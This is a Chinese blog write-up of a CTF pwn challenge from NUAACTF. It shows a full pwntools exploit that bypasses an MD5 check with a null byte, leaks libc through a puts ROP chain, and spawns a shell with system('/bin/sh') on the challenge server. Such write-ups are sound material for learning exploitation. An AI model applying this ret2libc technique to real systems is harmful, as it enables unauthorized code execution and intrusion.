首页 > 其他分享 >NUAACTF - PWN - 天衣无缝的登录

NUAACTF - PWN - 天衣无缝的登录

时间:2022-12-05 08:35:56浏览次数:44  
标签:NUAACTF p64 puts 天衣无缝 libc res sendline PWN recvuntil

NUAACTF - PWN - 天衣无缝的登录

我也不知道为什么我写不出来, 枯枯...

最后发现是我甜蜜的把泄露libc的流程跳了...最可怕的是竟然没看出来想杀了自己

[为什么会犯这种低级错误我也不知道, 应该是太久没做题了(麻 ]

老规矩, 保护:

image

保护等于没开, IDA寻找哪里能过的:

image

image

一直没找到溢出点, 翻到这边发现可以通过给v3\x00来跳过外层if进入log_success函数:

image

res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')

然后就是常规泄露libc地址来rop了.

完整exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#res = process('./login')
elf = ELF('./login')
#libc = elf.libc
libc = ELF('./libc.so')
res = remote('121.4.118.92','9390')

pop_rdi = 0x402683
ret_addr = 0x402684
main = 0x402572

res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')

puts_plt = 0x4010f0
puts_got = elf.got['puts']
payload = 'a' * (0x28) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
res.sendline(payload)

puts_add = u64(res.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = puts_add - libc.symbols['puts']
sys = base + libc.symbols['system']
bin_sh = base + libc.search('/bin/sh\0').next()

res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')
payload = 'a' * (0x28) + p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) + p64(sys)
res.send(payload)

res.interactive()

标签:NUAACTF,p64,puts,天衣无缝,libc,res,sendline,PWN,recvuntil
From: https://www.cnblogs.com/Lovechan/p/16951374.html

相关文章

  • 强网拟态-2022-pwn-only
    强网拟态-2022-pwn-only总结该题的沙箱我们可以通过execveat绕过,但是注意execveat是个系统调用2.29以后存在一个key(bk)检查,不能直接doublefree可以通过已经申请......
  • pwn | jarvisoj_tell_me_something
    pwn|jarvisoj_tell_me_somethingx64栈溢出ret2text存在后门直接溢出跳过去就行了。唯一有点区别的就是这里面没有pushebp和popebp,所以只需要覆盖0x88就行了exp......
  • pwn | ciscn_2019_es_2
    pwn|ciscn_2019_es_2x86ret2text栈迁移这是我第一次做栈迁移的题目,浅浅记录一下思路关键的利用点在于利用leaveret的组合把esp搬到低地址的地方(也就是我们输入的地......
  • BUUCTF-PWN-前五页简单回顾
    学pwn到现在快三个月了,在BUU上做了前五页共160题,不能把刷过的题的技巧都给忘了,再做一遍还不是得心应手的题,同时堆题很灵活,要多总结才能举一反三。现在写下刚开始学的......
  • DASCTF NOV X联合出题人2022年度积分榜争夺赛PWN复现 部分wp
    签个到​居然是没开NX的,而且还有一个可写可执行的段​静态分析:进入get()我们可以看到循环中如果满足heap[i]+4LL与我们送入内容的前8字符相同,且送入内容+8地址内容......
  • BUUCTF-PWN-第五页writep(32题)
    花了十天把前四页共128题全部再做了一遍,加上一个是因为难度增加了,写得比较慢,另一个是期末周了时间比较少,所以拖了20天才发这篇题解pwnable_asm沙盒逃逸orw题fro......
  • DASCTF NOV X联合出题人-PWN
    太忙了,下午4点才开始做,,剩下的以后补上签个到逻辑很简单两个功能的堆,一个就是申请heap、还有一个是检验如果校验通过就会得到flag申请模块​中间0x886是个很恶心的东西......
  • pwn | pwn2_sctf_2016
    pwn|pwn2_sctf_201632位ret2libc+整数溢出题目给了syscall但是找不到popeax,没办法使。exp如下:frompwnimport*fromLibcSearcher.LibcSearcherimport*impo......
  • pwn | bjdctf_2020_babyrop
    pwn|bjdctf_2020_babyropx64ret2libc常规题注意调用约定即可exp:frompwnimport*fromLibcSearcher.LibcSearcherimport*importstructcontext.log_level......
  • pwn | bjdctf_2020_babystack2
    pwn|bjdctf_2020_babystack2ret2text一个整数判断,比较的时候是int,传进read当参数的时候是unsignedint,输入负数就能绕过。然后跳转到后门函数就行了。怪没意思的,直......